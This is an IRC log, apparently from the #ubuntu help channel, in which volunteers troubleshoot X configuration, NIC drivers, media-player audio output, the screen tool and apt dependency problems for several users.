[05:03] <brenner> rbirkby: er, hang on ... why are you trying to unpack a deb file?
[05:03] <thoreauputic> OK it's running
[05:03] <magical_trevsky> nerdy2: how can I tell if it's ok?
[05:03] <thoreauputic> Bags: probably spawn two processes - those are consecutive so...
[05:04] <rbirkby> brenner, Because apt-get dist-upgrade fails at exactly the same point. So i've reduced the problem to the smallest atom I know how to (like a good bug hunter...)
[05:04] <Bags> thoreauputic: I'm sorry, but I don't know what that means...
[05:04] <nerdy2> magical_trevsky: well if there's information about your nic, and nothing saying "Loading failed" or other obvious failure messages you should be fine :)
[05:04] <nerdy2> magical_trevsky: that means the driver recognizes the NIC, which is about all you can really test without getting a cable :)
[05:04] <Bags> thoreauputic: It's nearly 1:00 am here, I'm going to bed... Had enough..
[05:04] <thoreauputic> Bags: those are the process IDs (the numbers)
[05:05] <Bags> thoreauputic: I'm going to hit it again tomorrow.
[05:05] <D2DChat> hello, i have a problem with X
[05:05] <nerdy2> magical_trevsky: if the driver isn't auto-loaded in the future, you may wish to add it to /etc/modules to get auto-loaded
[05:05] <Bags> thoreauputic: Thanks for your help. Very much appreciated.
[05:05] <thoreauputic> Bags: you can kill them with, say sudo killall pure-ftpd
[05:05] <D2DChat> I uninstalled my previous graphics card and now im on onboard gfx card
[05:05] <thoreauputic> Bags: no problem - good luck
[05:05] <D2DChat> and i need to know how to get X to recognize the onboard isntead of the old card
[05:05] <brenner> rbirkby: so you're trying to upgrade to breezy from hoary and it stops at that package?
[05:06] <magical_trevsky> nerdy2: can I send you the contents of my syslog? (I'll put it on pastebin)
[05:06] <nerdy2> magical_trevsky: sure
[05:06] <hanasaki> can someone help me with a routing question?
[05:06] <brenner> D2DChat: reconfiguring the xorg package might work
[05:06] <D2DChat> br
[05:06] <D2DChat> brenner how do i do that?
[05:06] <brenner> dpkg-reconfigure xserver-xorg
[05:07] <rbirkby> brenner, I've was successfully on breezy back before the toolchain upgrade. So, it was a breezy->breezy dist-upgrade that failed
[05:07] <rbirkby> D2DChat, reconfiguring xorg fixed another problem I had on breezy
[05:07] <D2DChat> rbirkby: is there anyway i can do this without disconnecting from bitchx?
[05:08] <rbirkby> What's bitchx?
[05:08] <kaha> Anyone know why my Vim (6.3, Hoary) won't do digraphs? I have "set digraph" in my .vimrc.
[05:08] <D2DChat> rbirkby: it is a text-based irc client that im connecting from
[05:08] <brenner> D2DChat: probably not....you should've run 'screen' :)
[05:08] <rbirkby> D2DChat, try it on a different screen (ctrl-alt-F1)
[05:08] <D2DChat> brenner i forgot how to use those hehe
[05:09] <brenner> rbirkby: i'm not sure, sorry...
[05:09] <D2DChat> what was the command again? one more time?
[05:09] <rbirkby> awww
[05:09] <brenner> D2DChat: for what?
[05:09] <D2DChat> the dpkg-reconfigure
[05:09] <rbirkby> dpkg-reconfigure xserver-xorg
[05:09] <brenner> doesn't bitchx have a scrollback feature? :-/
[05:09] <D2DChat> dpkg-reconfigure xserver-xorg
[05:10] <D2DChat> i do, i was being lazy
[05:10] <D2DChat> hehe
[05:10] <D2DChat> brb
[05:10] <hawking> how can i extract a rar file?
[05:10] <mypapit> hawking, use rar
[05:10] <hawking> how?
[05:10] <mypapit> hanasaki, it's in the the multiverse repo
[05:10] <mypapit> hanasaki, apt-get rar
[05:10] <mypapit> hanasaki, apt-get install rar
[05:10] <brenner> rbirkby: i guess i should add, i haven't used breezy ...so my knowledge of it's problems is limited...have you searched the forum?
[05:10] <hawking> mypapit: can you give me a simple example?
[05:10] <hanasaki> mypapit: ?
[05:11] <apokryphos> hawking: you have to enable the Multiverse repository, then install rar.
[05:11] <brenner> hehe
[05:11] <magical_trevsky> nerdy2: http://pastebin.com/351026
[05:11] <hawking> I already have rar
[05:11] <apokryphos> hawking: then use it
[05:11] <apokryphos> hawking: man rar
[05:11] <brenner> hanasaki: lousy tab-complete, ey? :)
[05:11] <hawking> isn't the command "rar e example.rar" right?
[05:11] <hanasaki> ya
[05:11] <hanasaki> hehe
[05:11] <hanasaki> so now make it up to me and help w/ routing :)
[05:12] <apokryphos> hawking: rar x is better
[05:12] <hanasaki> file-roller is better
[05:12] <apokryphos> hawking: and you'd know if you checked the man page ;-)
[05:12] <apokryphos> brenner: not minus at least -- good going.
[05:13] <elTigre> X still doesnt work on my laptop
[05:13] <brenner> apokryphos: :)
[05:13] <brenner> elTigre: what's the prob
[05:13] <elTigre> it worked out of the box after installationj
[05:13] <brenner> ?
[05:13] <brenner> and now?
[05:13] <apokryphos> wow, #ubuntu has had significantly less people since spam attack. Basically half.
[05:13] <factotum> anyone know why both xmms and bmp would lock up after hitting play with any file? other media players work alright, just these two lock up. Any suggestions?
[05:14] <chimo> hey guys i downloaded the nividia driver IA32.....and i run the install script  sh NVIDIA....etc...
[05:14] <elTigre> but after upgrading to breezy the config is screwed
[05:14] <brenner> factotum: change the output plugin to esound
[05:14] <apokryphos> factotum: did you install the appropriate codecs?
[05:14] <chimo> but t cant fidn the kernel stuff
[05:14] <brenner> factotum: common bug
[05:14] <apokryphos> elTigre: try reconfiguring your x
[05:14] <factotum> yup, i have the codecs, Ill look into the output change
[05:14] <elTigre> yeah
[05:14] <brenner> apokryphos:fyi,  xmms and bmp come with their own. :P
[05:14] <elTigre> I am doing that for two hours now
[05:14] <chimo> and it cant seem to download one either
[05:14] <apokryphos> brenner: they surely don't come with the mp3 codecs etc
[05:14] <factotum> now if i could just get it to close hehe
[05:15] <apokryphos> not sure about bmp, actually; xmms comes with Ubuntu though, no?
[05:15] <elTigre> is there a way to autodetect everything like the install cds did?
[05:15] <brenner> apokryphos: they surely do ... at least i think so
[05:15] <apokryphos> !info xmms
[05:15] <ubotu> xmms: (Versatile X audio player that looks like Winamp), section sound, is optional. Version: 1.2.10-2ubuntu1 (hoary), Packaged size: 1917 kB, Installed size: 5988 kB
[05:15] <hawking> I love the command rm -rf and I dunno why
[05:15] <brenner> apokryphos: nether come by default
[05:15] <brenner> *neither
[05:15] <apokryphos> brenner: it's in MAIN. No mp3 stuff would be in there.
[05:15] <Blazint> "PrintScreen" key not working in current breezy?
[05:15] <chimo> !nvidia
[05:15] <ubotu> I heard nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[05:15] <factotum> Esound worked!! bravo!!
[05:15] <brenner> hawking: you like danger? :)
[05:16] <hawking> brenner: yeah:)
[05:16] <D2DChat> lol, i forgot that command:(
[05:16] <D2DChat> i think im on screen now though
[05:16] <factotum> so i guess we dont have the luxury of one system wide sound module eh??
[05:16] <D2DChat> how do i switch between screens?
[05:16] <spayne> i need some help try get the nvidia glx drivers working
[05:16] <spayne> because my card is an old nvidia
[05:16] <factotum> so far i see oss, alsa, esound..egads!
[05:16] <spayne> which mans i need the old drivers
[05:16] <spayne> and i won't let me compile them
[05:16] <brenner> apokryphos: i'm sure of it though. :(  i recall seeing it on the restricted formats wiki page
[05:16] <spayne> is there any way around this?
[05:16] <D2DChat> brenner: how do i switch between screens and what is that command again ? lol
[05:16] <chimo> is the binary driver the only way to install nivida drivers
[05:16] <chimo> ?
[05:17] <elTigre> WTF does dpkg overwrite my xorg conf if it can't autodetect anything?!
[05:17] <D2DChat> brenner
[05:17] <D2DChat> i kept getting it wrong
[05:17] <D2DChat> like
[05:17] <brenner> apokryphos: i.e. rythmbox needs codecs, xmms doesn't
[05:17] <D2DChat> kpgk or whatever
[05:17] <apokryphos> elTigre: it creates another xorg.conf, the previous one
[05:17] <D2DChat> i remember the reconfig part
[05:17] <brenner> dpkg-reconfigure xserver-xorg
[05:17] <apokryphos> elTigre: it should autodetect the stuff, but this is hardly guaranteed on Breezy
[05:17] <factotum> brenner, thanks for the help btw
[05:17] <D2DChat> how do i switch screens?
[05:17] <apokryphos> brenner: I'll check into it later.
[05:17] <nerdy2> magical_trevsky: the only relevant lines i see are the following:  #
[05:17] <nerdy2> PCI: Enabling device 0000:00:03.0 (0000 -> 0003)
[05:17] <nerdy2> #ACPI: PCI Interrupt Link [LNKC]  enabled at IRQ 11
[05:17] <nerdy2> #
[05:17] <nerdy2> ACPI: PCI interrupt 0000:00:03.0[A]  -> GSI 11 (level, low) -> IRQ 11
[05:17] <elTigre> yeah
[05:17] <nerdy2> #3c59x: Donald Becker and others. www.scyld.com/network/vortex.html
[05:17] <nerdy2> #0000:00:03.0: 3Com PCI 3c556B Laptop Hurricane at 0x1800. Vers LK1.1.19
[05:17] <nerdy2> #
[05:17] <apokryphos> brenner: in my opinion they're both lame
[05:17] <nerdy2>  PCI: Setting latency timer of device 0000:00:03.0 to 64
[05:17] <nerdy2> #
[05:17] <brenner> D2DChat: rarely use screen actually :)
[05:17] <nerdy2>  *** EEPROM MAC address is invalid.
[05:17] <nerdy2> #3c59x: vortex_probe1 fails.  Returns -22
[05:17] <nerdy2> #
[05:18] <brenner> nerdy2: don't paste !
[05:18] <nerdy2> 3c59x: probe of 0000:00:03.0 failed with error -22
[05:18] <apokryphos> nerdy2: please do NOT paste in here
[05:18] <D2DChat> brenner hehehe
[05:18] <nerdy2> #ACPI: PCI interrupt 0000:00:05.0[A]  -> GSI 11 (level, low) -> IRQ 11
[05:18] <elTigre> so how can I get my laptop in a usable shape again
[05:18] <nerdy2> hmm, sorry, that was not supposed to be so intrusive
[05:18] <Ng> D2DChat: do you mean screen the console tool, or how to change between virtual consoles?
[05:18] <apokryphos> nerdy2: read the /topic
[05:18] <brenner> Ng: yes he does
[05:18] <D2DChat> Ng Yes
[05:18] <nerdy2> ok
[05:18] <Ng> I asked an either or question
[05:18] <magical_trevsky> nerdy2: so is that bad then?
[05:18] <Ng> you can't answer that with yes ;)
[05:18] <D2DChat> Ng: screen console tool
[05:18] <brenner> the 1st one that is
[05:18] <bur[n] er> D2DChat, man screen
[05:18] <D2DChat> Ng: I was having fun:-P
[05:18] <Ng> D2DChat: ^A 0-9 or ^A "
[05:18] <factotum> so what would be good for an all around media player, audio video etc, mplayer maybe? Dont want to start a holy war here, just looking for options
[05:18] <Ng> D2DChat: or generally ^A ? for help :)
[05:18] <D2DChat> bur[n] er if i man screen it gives me more options than i can read on one screen
[05:18] <Ng> (^A meaning ctrl-a)
[05:19] <nerdy2> magical_trevsky: ok, http://pastebin.com/351035
[05:19] <chimo> hey guys i downloaded the nividia driver IA32.....and i run the install script  sh NVIDIA....etc... and it cant find the kernel stuff and fails to install
[05:19] <bur[n] er> ^A c, create new screen, ^A N, next, ^A P, Previous
[05:19] <apokryphos> factotum: you're better off having a seperate normal audio/mp3 player and video player
[05:19] <factotum> thats what i was kind of thinking
[05:19] <nerdy2> magical_trevsky: i don't like the vortex_probe1 failes line
[05:19] <Ng> chimo: that's not how you should install the nvidia driver on ubuntu, take a look in the wiki for the binary nvidia howto
[05:19] <nerdy2> magical_trevsky: you might wanna google that
[05:19] <bur[n] er> D2DChat, that's why you have pgup and pgdn keys
[05:19] <toxicle> hello
[05:20] <brenner> bur[n] er: nice quick tute...thanks :)
[05:20] <jo_e> factotum, xmms works for me
[05:20] <toxicle> i just installed ubuntu on my desktop using "server" to boot
[05:20] <bur[n] er> factotum, personally... i use totem for video and rhythmbox for audio
[05:20] <bur[n] er> brenner, :)
[05:20] <toxicle> it tells me the first part is complete and then it will reboot
[05:20] <toxicle> when it did .. i could only login with a normal user
[05:20] <toxicle> how do i continue?
[05:20] <apokryphos> jo_e: xmms is lame ;-)
[05:21] <bur[n] er> oh man, holy war of media players is upon us
[05:21] <apokryphos> xmms is not a media player, really.
[05:21] <jo_e> apokryphos, why is that?
[05:21] <magical_trevsky> nerdy2: thanks for your help
[05:21] <brenner> bur[n] er: how do you close a screen?
[05:21] <bur[n] er> xmms is gtk1 and just unpretty...  fast, but unpretty
[05:21] <bur[n] er> brenner, ^A k
[05:21] <apokryphos> jo_e: why is it lame/ Because it's severely lacking in features, non-compliant for everything, most undeveloped app ever :P, and aesthetically unpleasing. :)
[05:22] <brenner> ta
[05:22] <bur[n] er> brenner, screen -dR to reconnect to a lost screen
[05:22] <No1Viking> I want to see wmv files in my firefox, how can I fix that?
[05:22] <factotum> i guess im a fan of xmms because i used winamp for so many years
[05:22] <bur[n] er> factotum, try beep-media-player?
[05:22] <elTigre> does xorg support 32 bit color depth?
[05:22] <brenner> bur[n] er: how do they get lost? :-/
[05:22] <bur[n] er> winamp is the one application i miss in my linux adventure
[05:22] <IcemanV9> elTigre: yes.
[05:22] <apokryphos> factotum: bad reason to keep using it; expand your horizons :)
[05:22] <elTigre> because debconf only has 24 and under windows my laptop does not support 24
[05:22] <factotum> yeah i have it open right now actually, trying to tell the difference between it and xmms
[05:22] <bur[n] er> brenner, if you close the xterm that's running screen
[05:22] <jo_e> apokryphos, i can deal with ugly.  as factotum said, I used winamp for ages.  non-compliant in what ways?  what features is it missing?
[05:23] <apokryphos> Winamp is the one app I do NOT miss, frankly; there are far superior apps on UNIX.
[05:23] <bur[n] er> brenner, or if you wanna connect to your irssi session that's running via ssh ;)
[05:23] <brenner> bur[n] er: ah, ok
[05:23] <elTigre> I'm giving up -.
[05:23] <bur[n] er> apokryphos, one that burns, rips, has a media library that auto updates, tag editing?
[05:23] <toxicle> can anyone tell me how to continue to the second part of installation ? I used "server" when booting the install
[05:23] <apokryphos> jo_e: if you don't think it's missing features, then you palpably haven't tried out amaroK or JuK. :)
[05:23] <factotum> sorry, didnt mean to start a debate here
[05:23] <IcemanV9> elTigre: limitation of laptop? maybe?
[05:23] <elTigre> I simply don't know how to configure this x thing for my laptop
[05:23] <bur[n] er> amarok is pretty sweet... but qt based
[05:24] <jo_e> apokryphos, what extra do they have (not arguing, just curious)
[05:24] <apokryphos> bur[n] er: media library? For streams on the Internet? I'm talking about audio/mp3 players
[05:24] <elTigre> I dont care about the limitation
[05:24] <apokryphos> not that I wanted to watch porn from the media library...
[05:24] <elTigre> the installation cds autodetect everything and it worked perfectly
[05:24] <bur[n] er> apokryphos, me too... media library so that I can quickly pick a certain artist similar to rb/itunes/winamp
[05:24] <elTigre> but now I don't have the slightest clue
[05:24] <apokryphos> jo_e: a zillion different features. See http://amarok.kde.org/content/view/51/1/ for example
[05:25] <apokryphos> bur[n] er: no, I wasn't being sarcastic :). I'm saying the media library with streams etc is useless to me.
[05:25] <elTigre> can I reinstall ubuntu without loosing my files?
[05:25] <bur[n] er> who said anything about streams? ;)
[05:25] <factotum> rhythbox is decent, just with it was a bit more compact
[05:25] <apokryphos> bur[n] er: winamp could perhaps be good with the zillion possible plugins out there,  but as the program itself stands, I thought amaroK would be ten times better for what it does
[05:25] <bur[n] er> elTigre, backup your /home
[05:25] <elTigre> hmm
[05:26] <apokryphos> amaroK has pod support, too :D
[05:26] <jo_e> ooh... full lyrics download... useless ;).  i'm willing to try; does it work with esd?
[05:26] <brenner> toxicle: er, did you want a server install?
[05:26] <elTigre> I don't really want to reinstall... there should be a better way
[05:26] <apokryphos> jo_e: lyrics download are useless? For you maybe...
[05:26] <elTigre> this aint windows after al
[05:27] <brenner> elTigre: check the xorg log for errors or warnings
[05:27] <elTigre> it can't find a screen
[05:27] <elTigre> but that can mean anything
[05:27] <DaDave> hi all
[05:27] <DaDave> i tried to use the desktop sharing (with krfb) but it runs extremly slow even on my 11mbit home network. where can i change the bpp and depth setting sfor krfb?
[05:27] <jo_e> just wondering if it will work with my ESD sound server... I don't want to d/l 28 mb of libs for nothing
[05:28] <apokryphos> jo_e: it has multiple backends. You can use gstreamer with esdsink, yes.
[05:29] <jo_e> apokryphos, thanks
[05:29] <DaDave> noone got an idea with the krfb thing?
[05:30] <brenner> DaDave: read the docs maybe?
[05:30] <D2DChat_> omfg
[05:30] <D2DChat_> lol
[05:30] <toxicle> hello guys :) ... I chose the "server" installation of ubuntu. After installing .. it prompts me to remove the CD and it will continue the second part of installation but i was given the login prompt .. i can only login as normal user .. no root ... so how do I continue? Thanks in advance :)
[05:30] <D2DChat_> i couldnt connect because nickserv still thinks im logged onto D2DChat
[05:30] <D2DChat_> anyway.
[05:30] <apokryphos> toxicle: ubuntu uses sudo
[05:30] <apokryphos> !sudo
[05:30] <ubotu> sudo is probably http://www.ubuntulinux.org/wiki/RootSudo
[05:31] <brenner> D2DChat: didn't work?
[05:31] <D2DChat_> brenner when i did the command, it said that it didn't know what the useflags were
[05:31] <D2DChat_> unknown options
[05:31] <D2DChat_> x
[05:31] <D2DChat_> s
[05:31] <D2DChat_> e
[05:31] <D2DChat_> etc.
[05:31] <toxicle> ok  sudo -s
[05:31] <toxicle> so how do I continue the installation?
[05:31] <apokryphos> D2DChat_: please don't flood the channel needlessly
[05:32] <DaDave> brenner: that was the first thing i did. but the docs are not very helpfull...
[05:32] <jfosa> is there a good .chm viewer for ubuntu?
[05:32] <D2DChat_> apokryphos I wasn't trying to, I was trying to mimic the display
[05:32] <brenner> D2DChat: that's jibberish to me
[05:32] <brenner> D2DChat: what's the exact  command you typed?
[05:32] <paulproteus> toxicle: sudo aptitude install <pkg>
[05:32] <thoreauputic> toxicle: if you did the server install, you are probably there already - no X by default
[05:32] <apokryphos> D2DChat_: if it's many lines you should be using pastebin, or putting it inline, of course. 8)
[05:32] <D2DChat_> it said unknown options x,s,e,r,v,e,r,x,o,r,g
[05:33] <D2DChat_> replace commas with spaces
[05:33] <apokryphos> toxicle: any command you want to run with root perms, just prefix them with "sudo"
[05:33] <brenner> DaDave: maybe ask in #kde or #kubuntu while you wait?
[05:33] <toxicle> there is no root password?
[05:33] <D2DChat_> the exact command was dpkg-reconfigure -xserver -xorg
[05:33] <apokryphos> toxicle: correct
[05:33] <brenner> D2DChat: what's the exact  command you typed?
[05:33] <brenner> D2DChat: wrong
[05:33] <thoreauputic> D2DChat: no
[05:33] <thoreauputic> !xorg
[05:33] <ubotu> well, xorg is sudo dpkg-reconfigure xserver-xorg
[05:33] <D2DChat_> and i tried dpkg-reconfigure -xserver-xorg too
[05:33] <toxicle> thoreuputic: so I'm done?
[05:33] <toxicle> how do i search for packages?
[05:34] <thoreauputic> D2DChat: you put spaces where they don't belong
[05:34] <apokryphos> toxicle: apt-cache search {packagename}
[05:34] <brenner> damn ... didn't know there was a trigger. :)
[05:34] <brenner> D2DChat: that's still wrong :)
[05:34] <toxicle> ok thanks a lot :)
[05:34] <D2DChat_> brenner ok, whats right?:(
[05:35] <toxicle> is there a website i can browse what packages are available?
[05:35] <D2DChat_> ubotu I tried that
[05:35] <ubotu> D2DChat_: No idea
[05:35] <apokryphos> toxicle: yes, packages.ubuntu.com
[05:35] <brenner> D2DChat: everythign 'cept the '-' sign before xserver
[05:35] <thoreauputic> D2DChat: ubotu is a bot
[05:35] <D2DChat_> "Unable to initiate frontend"
[05:35] <toxicle> thank you "_)
[05:35] <thoreauputic> sudo dpkg-reconfigure xserver-xorg  <-------
[05:35] <D2DChat_> brenner so
[05:36] <brenner> D2DChat: type what thoreauputic just posted. exactly
[05:36] <D2DChat_> dpkg-reconfigure xserver-xorg ?
[05:36] <apokryphos> that's it
[05:36] <thoreauputic> right
[05:36] <D2DChat_> o ok
[05:36] <rbirkby> What is the command line equiv to synaptic?
[05:36] <brenner> with a sudo
[05:36] <matthew_w> Hey - I can't manage to get XMMS or BEEP to work properly... it just won't open unless I run it as root, and I can't possibly play MP3's ... any ideas why?\
[05:36] <apokryphos> rbirkby: apt-get?
[05:36] <thoreauputic> rbirkby: aptitude or apt-get
[05:36] <apokryphos> ubotu: tell matthew_w about mp3
[05:36] <brenner> matthew_w: change the ouput plugin to esound
[05:36] <rbirkby> apt-get doesn't seem to do all the dependancy management automaticall
[05:36] <thoreauputic> rbirkby: yes it does
[05:37] <rbirkby> I'm using apt-get install - is there something else I should do?
[05:37] <apokryphos> rbirkby: it does
[05:37] <matthew_w> apokryphos; already installed G-streamer and it's ilk from synaptic.
[05:37] <matthew_w> brenner; I'll try
[05:37] <thoreauputic> rbirkby: first run sudo apt-get update
[05:37] <rbirkby> Done that
[05:37] <apokryphos> rbirkby: as in, it should resolve all dependencies for you. What are you having a problem with?
[05:37] <thoreauputic> rbirkby: what are you installing?
[05:37] <BollocksMacenzie> I'm back baby!
[05:38] <brenner> apokryphos, thoreauputic double-teaming? not fair!
[05:38] <rbirkby> apokryphos, I'm trying to install aptitude... apt-get install aptitude. Unmet dependancies are libsigc++....
[05:38] <matthew_w> brenner; couldn't open audio
[05:38] <apokryphos> rbirkby: ah, that's a known issue actually
[05:38] <matthew_w> brenner; at least this time it didn't hang.
[05:38] <apokryphos> manually installig aptitude doesn't work; I have a possible fix, I think.
[05:38] <brenner> matthew_w: when do you get that message?
[05:39] <matthew_w> brenner; after I press play - on an mp3, it pops up.
[05:39] <thoreauputic> erm - aptitude is installed by default
[05:39] <brenner> matthew_w: xmms or bmp?
[05:39] <matthew_w> brenner; bmp
[05:39] <rbirkby> apokryphos, I just wanted to use something a bit better than apt-get to install packages - you see X has been broken for a month, and it doesn't look like I'm going to be able to get it fixed for a long time
[05:39] <apokryphos> thoreauputic: correct, but manually installing it produces problems (for some reason or other)
[05:39] <apokryphos> thoreauputic: if you haven't done default install, that is.
[05:39] <brenner> matthew_w: er, try the alsa plugin
[05:39] <matthew_w> brenner; k
[05:39] <jfosa> what does: configure: error: C++ preprocessor "/lib/cpp" fails sanity check   :  mean and how do I fix it?
[05:39] <thoreauputic> apokryphos: hmm - OK
[05:39] <apokryphos> rbirkby: you're on breezy? Have you tried fixing your X?
[05:40] <apokryphos> vices: install ubild-essential
[05:40] <apokryphos> *build-essential
[05:40] <brenner> jfosa: probably need to install build-essential to get the compiling goodness
[05:40] <matthew_w> brenner; same error
[05:40] <brenner> apokryphos: who the heck is vices? :)
[05:40] <rbirkby> thoreauputic, aptitude may be installed by default, but back when I upgraded to hoary from warty, a ton of default packages got removed. It was an arduous task to guess packages to add back in again
[05:40] <chimo> how do i mount my windows drive in ubuntu?
[05:40] <rbirkby> thoreauputic, I suspect aptitude was one of those
[05:40] <matthew_w> brenner; I can run sounds from Ubuntu, like the startup and the annoying bongos, but strictly sound programs won't run
[05:40] <vices> oh thanks :)
[05:40] <apokryphos> brenner: changed name.
[05:41] <brenner> matthew_w: rhythmbox?
[05:41] <bigmouth000> hey, anyone have a clue about making terminal screens transparent  ?
[05:41] <thoreauputic> rbirkby: I see - probably you lacked ubuntu-desktop
[05:41] <swoke> hello
[05:41] <swoke> does anyone got trouble to install breezy on a laptop with HAL package ? is it a know bug ? do I need to wait for a few ?
[05:41] <brenner> apokryphos: ah ... i filter nick changes ... sorry :)
[05:41] <matthew_w> brenner; nope.
[05:41] <rbirkby> thoreauputic, that rings a bell
[05:41] <brenner> matthew_w: no sound?
[05:41] <matthew_w> brenner; yeah, I have sound.
[05:41] <brenner> matthew_w: so rhythmbox works fine?
[05:41] <apokryphos> rbirkby: so what's wrong with your X?
[05:41] <chimo> how do i mount my windows drive in ubuntu?
[05:42] <rbirkby> apokryphos, http://paste.ubuntulinux.nl/1769
[05:42] <apokryphos> ubotu: tell chimo about windowsdrives
[05:42] <brenner> bigmouth000: it's in preferences
[05:42] <brenner> bigmouth000: gnome-terminal at least
[05:42] <rbirkby> apokryphos, that may be a bit confusing
[05:42] <matthew_w> brenner; ... you mean the program called "music player" ?... when I try to open Mp3's it does some wongy stuff. lol
[05:42] <bigmouth000> brenner, thanks .. will check
[05:42] <thoreauputic> matthew_w: install gstreamer0.8-mad
[05:42] <brenner> matthew_w: yes ... multiple naming ...
[05:42] <rbirkby> apokryphos, basically I get no window manager, in fact no nothing. No terminal or menus or anything when I log on. All I can do is change screen by alt-ctrl-F1
[05:43] <apokryphos> rbirkby: no login manager?
[05:43] <hawking> why was java removed from repositories?
[05:43] <vices> apokryphos do you know where I can get the zlib?
[05:43] <BollocksMacenzie> What command do I need to change nick in a channel.
[05:43] <apokryphos> rbirkby: you're on hoary, right?
[05:43] <rbirkby> apokryphos, and since the problem in pastebin is a sticking point with apt, then I'm trying to solve that hoping it will get me a working X eventually
[05:43] <matthew_w> brenner; ok rythymbox plays Mp3's.
[05:43] <koneng> I edited my /etc/X11/xorg.conf file and messed it up and so I need to fix it, but I don't remember what I had before i changed it. I found a xorg.conf~ file in the same directory so i tried using that instead and it still didnt work. How can i repair this?
[05:43] <rbirkby> apokryphos, breezy
[05:43] <matthew_w> brenner; so what the heck is wrong with bmp?
[05:43] <vices> bollocksmacenzie /nick <nick>
[05:43] <apokryphos> vices: it's in main, isn't it?
[05:43] <thoreauputic> BollocksMacenzie:  /nick
[05:43] <hawking> ubotu , tell thespiritoftal about java
[05:43] <apokryphos> vices: zlib1g-dev you probably want
[05:43] <vices> apokryphos sorry i'm a bit of a linux newbie, what's main?
[05:43] <vices> apokryphos thanks
[05:43] <rbirkby> apokryphos, I see the login screen. I sucessfully login, but then I just get a blank brown desktop with nothing at all
[05:43] <apokryphos> !info zlib1g-dev
[05:44] <ubotu> zlib1g-dev: (compression library - development), section libdevel, is optional. Version: 1:1.2.2-4ubuntu1 (hoary), Packaged size: 472 kB, Installed size: 644 kB
[05:44] <brenner> matthew_w: dunno .... my guess of the output plugin seems to be wrong...you still running it as root?
[05:44] <hawking> ubotu , tell  hawking about java
[05:44] <apokryphos> vices: yes, you should be able to easily apt for it. Or Synaptic.
[05:44] <matthew_w> brenner; I have to, it won't open if I'm not root X_X
[05:44] <apokryphos> rbirkby: sounds like a GNOME issue, not an X one.
[05:44] <brenner> ok, i upgraded firefox via synaptic, and i got this error:
[05:44] <brenner> E: /var/cache/apt/archives/firefox-gnome-support_1.0.6-1ubuntu1~5.04ubp1_i386.deb:  trying to overwrite `/usr/lib/mozilla-firefox/components/libmozgnome.so', which is also in package mozilla-firefox-gnome-support
[05:44] <swoke> no one got an idea about breezy and hal bug ?
[05:44] <apokryphos> brenner: breezy? Firefox has had some issues lately
[05:44] <brenner> my sources.list is the same as the one in the pastebin, and i reloaded
[05:44] <brenner> apokryphos: hoary
[05:45] <apokryphos> swoke: seems to work fine here; HAL, that is.
[05:45] <apokryphos> brenner: do you have backports enabled or something?
[05:45] <thoreauputic> brenner: did you ever install firefox from backports?
[05:45] <brenner> although, ff seems to boot up fine
[05:45] <thoreauputic> apokryphos: hah
[05:45] <apokryphos> thoreauputic: we must be great minds. :P
[05:45] <rbirkby> apokryphos, I agree it's gnome. I just lumped it all under the more general category of 'X' - as most of my Ubuntu problems seem to be able to be lumped under that category ;-)
[05:45] <brenner> thoreauputic: orginally had the default 1.0.2, upgraded to 1.06 in bp just now
[05:45] <thoreauputic> apokryphos: I might as well go - you are handling evrything fine, methinks ')
[05:45] <AzCowboy> ekimus:  I had to reboot the computer and router a few times, but everything is working now.  It does seem like it was the router, I just can't figure out what/why.
[05:46] <apokryphos> thoreauputic: noo
[05:46] <abarbaccia> hey all - how do i use rsync with a smb directory?
[05:46] <apokryphos> rbirkby: not too sure what you could do, I'm not familiar with GNOME really
[05:46] <brenner> apokryphos, thoreauputic any ideas?
[05:46] <apokryphos> thoreauputic: note the last comment there -- very helpful. 8)
[05:46] <matthew_w> brenner; any more ideas?
[05:47] <brenner> hehe
[05:47] <rbirkby> apokryphos, well once I can get past the problem I put into pastebin, then I can try other apt stuff. But as it is, the pastebin problem is stopping me from getting any further.
[05:47] <apokryphos> brenner: yes; remove firefox, then remove backports; reinstall firefox
[05:47] <bigmouth000> brenner: A little more detail bout the transparency thing ? Preferences > what ?
[05:47] <brenner> matthew_w: if you run as normal user, what ahppens?
[05:47] <chimo> how do i run winmac_fstab
[05:47] <brenner> bigmouth000: effects tab
[05:47] <brenner> chimo: read the instructions
[05:48] <thoreauputic> brenner: I suggest you not use backports , frankly
[05:48] <apokryphos> rbirkby: sorry, could you link me again?
[05:48] <matthew_w> brenner; just doesn't run
[05:48] <matthew_w> brenner; "beep-media-player" ...  ... nothing happens
[05:48] <brenner> thoreauputic: really?  i recall you or someone else, apokryphos looking at you, telling me it was safe...extras was the one to avoid
[05:48] <matthew_w> brenner; click on the shortcut, nothing happens.
[05:48] <apokryphos> thoreauputic: I thought the old backports had the problem
[05:49] <apokryphos> could still be on the new one though, not sure.
[05:49] <brenner> matthew_w: as in you typed that in a terminal?
[05:49] <apokryphos> brenner: what backport link are you using?
[05:49] <brenner> "beep-media-player"?
[05:49] <rbirkby> apokryphos, http://paste.ubuntulinux.nl/1769
[05:49] <matthew_w> brenner; yeah - and also clicked on the link.
[05:49] <brenner> apokryphos: 969 pastbin link
[05:49] <thoreauputic> brenner: I only used extras for java and codecs, then commented it out
[05:49] <matthew_w> brenner; if you run "beep-media-player" as root it runs, though, just can't play anything. lol
[05:49] <bigmouth000> brenner: Did you mean System > Preferences ? I don't see an effects tab !
[05:49] <brenner> matthew_w: running in console should at least give you errors...weird
[05:49] <apokryphos> rbirkby: hm, so it doesn't even unpack? That's weird.
[05:50] <matthew_w> brenner; what is the command to get the verbose messages when you run in the console?
[05:50] <brenner> bigmouth000: oh, sorry!   edit > curent profile
[05:50] <franlopez> hi there, i'm using tasksel (from an ubuntu base system) to install demudi (www.demudi.org), but i'm getting a error msg wich stands that i have an unmet dependencie, because aptitude and synaptic need libapt-pkg-libc6.3-5-3.3 is a virtual package... i know it's not exactly an ubuntu question, but i'm desperate, so if anyone can help me...
[05:50] <rbirkby> apokryphos, I've tried deleting and redownloading
[05:50] <apokryphos> brenner: the *ubuntu* backports are supported, yes.
[05:50] <brenner> bigmouth000: lol, sorry!
[05:50] <brenner> matthew_w: try beep-media-player --help for options
[05:51] <brenner> apokryphos: then why tell me not to use the ff in bp?
[05:51] <apokryphos> thoreauputic: it's the ubuntuforums backports that are dodgy; the ones in archive.ubuntu.com are apparently officially supported, though, now.
[05:51] <apokryphos> brenner: because there are two backports
[05:51] <apokryphos> brenner: the one in a.u.c is actually quite recent
[05:51] <thoreauputic> apokryphos: yes, so I heard - but I still am wary of using them: call me paranoid
[05:51] <brenner> but i'm using the "safe" ones?
